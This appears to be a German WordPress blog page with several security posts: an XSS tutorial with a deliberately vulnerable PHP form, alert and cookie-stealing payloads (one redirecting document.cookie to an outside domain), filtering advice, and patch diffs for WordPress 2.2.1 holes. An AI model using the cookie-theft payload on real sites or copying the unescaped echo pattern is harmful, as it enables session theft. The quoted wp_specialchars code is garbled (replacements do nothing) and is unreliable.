Allgemein, Code, PHP, WordPress

SSEQ-LIB im Einsatz

Ich habe hier live im Blog die SSEQ-LIB im Einsatz; nur so kann ich eine ausreichend frequentierte Plattform nutzen um die Library zu testen. Wenn jemanden meiner Leser Fehler, Ungereimtheiten oder einfach Unstimmigkeiten auffallen, dann wäre ich sehr dankbar für eine Mail oder einen Kommentar hier.

Zum Hintergrund: sseq-lib ist eine mächtige PHP-Security Bibliothek
Security-Themen, die sseq-lib behandelt:

  • XSS (Cross Site Scripting)
  • SQL-Injection
  • CSRF (Cross Site Request Forgery)
  • Session-Fixation
  • Mail-Header-Injection
  • File-Injection
  • HTTP-Header-Manipulation
  • Response-Splitting
  • Informative error messages

Viele Informationen stehen im Projektverzeichnis bereit und ebenfalls auf das Blog von Erich Kachel.

Standard
Code, PHP, Tipps, WordPress

Cross Site Scripting (XSS)

Das Internet ist nicht mehr nur Webseite und Bilder für andere. Mittlerweile werden hinreichend wichtige Anwendungen im Web geführt. Genauso wird es immer einfacher eine eigene Seite ohne großartiges Hintergrundwissen zu pflegen oder gar einzurichten. Auch WordPress liefert dazu einen großen Beitrag. noch vor einigen Jahren war das einrichten und pflegen eines CMS für den Laien undenkbar. Gleiches gilt für die Pluginschnittstelle von WordPress, die die Erweiterung sehr einfach und mächtig gestaltet. Allerdings können Plugins auch Türen und Toren des Systems öffnen, dazu muss kein Fehler im Core-System vorliegen.

Leider kommen mit zunehmenden Webanwendungen auch immer mehr Sorgen zum Thema Sicherheit. Eines der aktuellsten und größten Probleme von Webanwendungen ist das Thema Cross Site Scripting, kurz XSS. Das Thema kann und darf nicht unbeachtet bleiben! Leider ist XSS kein kleines Problem von Hobbycodern und „Homepagebastlern“. Immer wieder liest man über Probleme aus diesem Bereich bei großen und wichtigen Anwendungen von Konzernen und Webseiten, bei denen man eventuell eine ganze Reihe von persönlichen Daten speichert.

Vor geraumer Zeit war ein Plugin, welches ich eine wenig verändert und erweitert habe, betroffen und ich bin dankbar, dass solche Fehler aufgezeigt werde – so werden auch „Hobbyplugins“ besser und sicher. Dies war auch der Grund, warum ich mich näher mit dem Thema XSS auseinander gesetzt habe. Ganz besonders im Bezug auf WordPress.
Dieser Artikel soll dem Interessierten einen Einblick in das Thema XSS geben und gleichzeitig an Hand von Beispielen zeigen, wie man XSS nutzt, welche Arten es gibt und wie man dagegen angehen kann. In einem kleinen Unterpunkt werde ich auch kurz die Möglichkeiten innerhalb von WordPress aufzeigen, mit denen man die eigene Installation oder ein Plugin sicherer macht.

Cross Site Scripting (XSS)

Die größte Gefahr von XSS besteht in seiner Einfachheit – lediglich ein Browser ist notwendig, um ein Angriffsmuster zu stricken und die betroffene Webanwendung zu injizieren.

XSS ist grundlegend die Manipulation von Benutzereingaben, die an eine Webanwendung übergeben wird.

Durch das Ausnutzen von Sicherheitslücken kann ein User Programmcode in die Umgebung einbringen und damit eventuell schaden anrichten. Ebenso könnte man damit die Kontrolle über die Webanwendung erreichen wollen. In der Regel liegt immer das gleiche Ziel vor – das Auslesen von Benutzerdaten.

Arten von XSS

Es gibt eine ganze Anzahl von Möglichkeiten schadhaften Code in die Anwendung zu injizieren. Derzeit wird XSS nicht explizit definiert, demzufolge gibt es auch verschiedene Ansichten zum Umfang von Arten des XSS.
In der Regel betrachtet man Code, der auf der Clientseite indiziert wird. Es gibt aber auch Möglichkeiten und Scenarios den Server zu beeinflussen, zum Beispiel in der Datenbank.
Wer sich mit allen Arten auseinander setzen will, dem sei die XSS-Datenbank empfohlen. Nur die schon dort möglichen Klick-Scenarios zeigen die Möglichkeiten, die in Webanwendungen bestehen.

XSS ein wenig tiefer

XSS fällt immer im Zusammenhang mit Webanwendungen. Diese zeichnen sich oft durch das Nutzen von dynamischen Inhalten aus. Erzeigt werden sie oft mit PHP, ASP oder Perl. Wobei der Einsatz von Frameworks auch hier weiterhin im Aufwind ist. Bei vielen Anwendungen werden relevante Daten, Benutzereingaben, mit Hilfe von GET-Parametern in der URL übergeben. Werden diese Inhalte ohne Prüfung im weiteren Verlauf der Anwendung genutzt, so besteht die Möglichkeit den Code in diese Anwendung zu injizieren. Das Einschleusen von böswilligen Code kann prinzipiell in jeder Sprache erfolgen, typisch ist jedoch JavaScript.

XSS selbst gemacht

Genug nun der Vorrede – kommen wir nun zu einem simplen Beispiel. Mittels einer kleinen Anwendung, die mit wenigen PHP-Kenntnissen zu verstehen ist, wollen wir JavaScript in die Seite injizieren. Damit das Beispiel auch problemlos funktioniert, muss der Server so konfiguriert sein, dass XSS möglich ist. Einige Server filtern im Standard nach XSS-Angriffen.

Der folgende Code muss lediglich als php-Datei gespeichert und mittels FTP auf den Server gespielt werden. Im folgenden ist lediglich das Script im Browser aufzurufen. Vorerst ist nur ein einfaches Formular zu sehen, vorerst nichts ungewöhnliches.


<?php
// XSS selber machen

setcookie("xss", "Testeintrag: XSS selber machen");

$text = $_GET['text'];
$title = $_GET['title'];

if (!$text && !$title) {
	echo '
	<html>
	<head>
	<title>XSS Test</title>
	</head>
	<body>
	<form action="xsstest.php">
	<input type="text" name="title" value="Betreff"/ >
	<br />
	<textarea name="text" rows="10" cols="40" ><script>alert("vulnerable");</script></textarea><br />
	<input type="submit" name"send" value="Senden" />
	</form>
	</body>
	</html>';
}

if ($text || $title) {
	echo '
	<html>
	<head>
	<title>XSS Test - Ausgabe</title>
	</head>
	<body>
	<h1>Die Mitteilung</h1>
	Title: ' . $title . '<br />
	Text: ' . $text . '
	</body>
	</html>';
}

echo '<p>*varAusgabe gesichert' . '<br />';
echo 'varText: ' . stripslashes(htmlspecialchars($text)) . '<br />';
echo 'varTilte: ' . stripslashes(htmlspecialchars($title)) . '</p>';
?>

Nachdem das Formular abgesandt wurde, ist ein Messagefenster in Vordergrund zu sehen. Dieses wurde mittels des Inhaltes in Textbox ausgeführt. Im Code habe ich den simplen JS-Code schon hinterlegt. Die Eingabe kann natürlich sehr vielfältig sein. Die meisten Formulare, Gästebücher und Foren nutzen diese Form, nur umfangreicher. Die Vorgehensweise ist jedoch immer die gleiche.

Warum war es so einfach?

Schauen wir uns den Code an, in den ersten Zeilen wird der Inhalt der GET-Parameter direkt in die Anwendung integriert.


$text = $_GET['text'];
$title = $_GET['title'];

Mit Hilfe von echo wird der Inhalt der Variablen ausgeben. In diesem Script kann nicht viel mit dieser Ausgabe erfolgen. Stellen wir uns aber vor, dass die Daten in eine Datenbank geschrieben werden und spezifisch zu einem Nutzer ausgelesen werden, dann kann man damit schon den Anwender entsprechen einfach manipulieren und beispielsweise schnell um seine Login-Daten bringen.

Die Eingabe des Users wird also direkt in die HTML-Ausgabe injiziert. In Beispielfall wird JavaScript indiziert. Ein Browser führt dieses Anweisung aus, er interpretiert sie. Er kann nicht wissen, woher der Code kommt und warum er interpretiert werden soll.

Will man nun noch weiter gehen, so kommt der ersten Zeile setcookie(„xss“, „Testeintrag: XSS selber machen“); eine große Bedeutung hinzu. In der Regel speichern Anwendungen eine ganze Reihe von Daten in Cookies.

Rufen wir nun also nochmal das Script auf und ändern den Inhalt der Textbox lediglich auf folgende kleine JS-Anweisung.


<script>alert(document.cookie);</script>

Nach dem Absenden des Formulars wird sich ein ähnliches Messagefenster öffnen, lediglich der Inhalt des Fensters ist umfangreicher. Es wurden die Daten des Cookie ausgelesen und in den Code injizieren.

XSS mit Cookie

Mit Hilfe dieser kleinen Beispiele kann man noch nicht sonderlich viel anrichten, es ärgert maximal den User. Aber man könnte beispielsweise durch das Auslesen des Cookie den Anwender auf eine andere Webseite bringen und dort die Inhalte des Cookies übergeben.


<script>document.location="http://domain.de/"+document.cookie</script>

Dort sind die Daten schnell in eine Datenbank geschrieben. Mit dieser Lösung kann man einfach und schnell empfindliche Inhalte stehlen – ein viel genutzter Weg. Stellen wir uns vor, dass die Webseite, auf die man weiterleitet, auch noch das gleiche Design hat, so kann man sicher schnell verstehen, wie potenzielle User an Logindaten u.ä. kommen.

Nun haben wir einen sehr kleinen Einblick, der aber sicher auch für technisch interessierte Leser schnell nachzuvollziehen ist, von möglichen Lücken. Es gibt eine ganze Reihe weiterer Möglichkeiten, die hier aber nicht weiter erläutert werden sollen. Im Anschluss an dieses Artikel gibt es eine Reihe von Linktipps, die mir beim Lernen und verstehen geholfen haben. Wer also mehr zum Thema XSS wissen möchte, der sollte sich dort umsehen.

XSS filtern

Wie kann man nun aber mögliche Lücken ausschließen – wie mache ich meine kleine Anwendung sicherer. Einige kleine und einfache Möglichkeiten sollen nun zur Sprache kommen und aufzeigen, dass es nicht viel Aufwand bedarf, die PHP-Anwendung ein wenig sicherer zu machen. PHP bietet eine ganze Reihe von Funktionen um das Injizieren von fremden Code zu erschweren.

Generell sollte man jede Benutzereingabe überprüfen, somit entsteht ein System von Schutzmaßnahmen. Dabei sollten nicht nur GET- und POST-Variablen überprüft werden, sondern auch Cookie-Werte. Dabei müssen die Werte in einem Bereich liegen, alle anderen Werte werden gefiltert – positives Sicherheitskonzept.

Sonderzeichen, die der Browser interpretiert (< und >), müssen in Entities konvertiert werden. Dafür stehen innerhalb PHP Funktionen zur Verfügung.


htmlspecialchars()

htmlentities()

strip_tags()

urlencode()

Nähere Beschreibung der Funktionen sind in der PHP-Doku zu finden.

Funktion von WordPress

Auch WordPress stellt von Haus aus, neben den genannten PHP-Möglichkeiten, einige Hilfe für das Erstellen sicherer Plugins zur Verfügung, die man über die PHP-Standard-Funktionen hinaus nutzen kann. Die wichtigste und unkomplizierteste Funktion für die eigene Verwendung ist die erstgenannte attribute_escape(). Diese wirkt im Zusammenhang mit der Funktion wp_specialchars()


function attribute_escape($text) {
	$safe_text = wp_specialchars($text, true);
	return apply_filters('attribute_escape', $safe_text, $text);
}

function wp_specialchars( $text, $quotes = 0 ) {
	// Like htmlspecialchars except don't double-encode HTML entities
	$text = str_replace('&&', '&&', $text);
	$text = str_replace('&&', '&&', $text);
	$text = preg_replace('/&(?:$|([^#])(?![a-z1-4]{1,8};))/', '&$1', $text);
	$text = str_replace('<', '<', $text);
	$text = str_replace('>', '>', $text);
	if ( 'double' === $quotes ) {
		$text = str_replace('"', '"', $text);
	} elseif ( 'single' === $quotes ) {
		$text = str_replace("'", ''', $text);
	} elseif ( $quotes ) {
		$text = str_replace('"', '"', $text);
		$text = str_replace("'", ''', $text);
	}
	return $text;
}

Weiterführende Links

Standard
Tipps, WordPress

Der erste XSS Wurm für WordPress

Wie man die XSS-Lücke ausnutzt und wie man den Wurm indiziert, das erklärt mybeNi. Das ganze basiert auf WordPress Version 2.2.1.

Was man davon halten soll – das muss jeder selbst entscheiden. In jedem Fall lohnt es sich, die Hinweise zu lesen. Es handelt sich um einen „freundlichen“ Wurm, der nur die Lücke aufzeigen will – ein Trost? Schön ist, dass der Wurm dem Admin hilft, die nötigen Lücken zu patchen.

Im weiteren werden alle 7 Lücken erläutert und als Beispiel dargelegt. Die Lücken sind im WP trac registriert und vielleicht erwartet uns bald ein Update. Wer sich händisch an die Arbeit machen will, der liest die Lösungen. In der Regel kommt die WordPress eigene Sicherheits-Funktion attribute_escape() zum Einsatz. Es sind 5 Lücken zu schließen – kurz und bündig im Folgenden.

wp-admin/upload-functions.php Zeile 109


<form<?php echo $enctype; ?> id="upload-file" method="post" action="<?php echo get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=upload&post_id=$post_id"; ?>"> 

wird zu:


<form<?php echo $enctype; ?> id="upload-file" method="post" action="<?php echo get_option('siteurl') . "/wp-admin/upload.php?style=" . attribute_escape($style) . "&tab=upload&post_id=" . attribute_escape($post_id); ?>"> 

wp-includes/functions.php Zeile 206


function get_option($setting) { 
global $wpdb; 

$setting = $wpdb->escape($setting); 

// Allow plugins to short-circuit options. 
$pre = apply_filters( 'pre_option_' . $setting, false ); 

wp-includes/functions.php Zeile 386


function delete_option($name) { 
global $wpdb; 

$name = $wpdb->escape($name); 

wp_protect_special_option($name);

wp-admin/link-import.php Zeile 76


$cat_id = $_POST['cat_id']; 
if ( $cat_id == '' || $cat_id == 0 ) 

wird zu:


$cat_id = (int) $_POST['cat_id']; 
if ( $cat_id < 1 ) 

wp-admin/edit-comments.php Zeile 78


if ( isset( $_GET['apage'] ) )

wird zu:


if ( isset( $_GET['apage'] ) ) { 
	$page = (int) $_GET['apage']; 
	if($page < 1) 
	$page = 1; 
}
Standard
WordPress

Sicherheitslücken im Plugin WP-FeedStats

Das Plugin WP-FeedStats weist wohl Sicherheitslücken auf. Es empfiehlt sich, nach Angaben von BlogSecurity das Plugin vorerst zu deaktivieren.

Sollte ich die Probleme finden und beheben können, dann mache ich das natürlich. Dies wird aber sicher nicht gleich und sofort passieren, denn ansonsten wären sie nicht im Plugin aufgetreten.
Ich hoffe auf Verständnis.

Kontaktiert wurde ich allerdings nicht, wie es im Beitrag von BlogSecurity steht, aber dank Trackback-Funktion bin ich eben darauf aufmerksam geworden.

Standard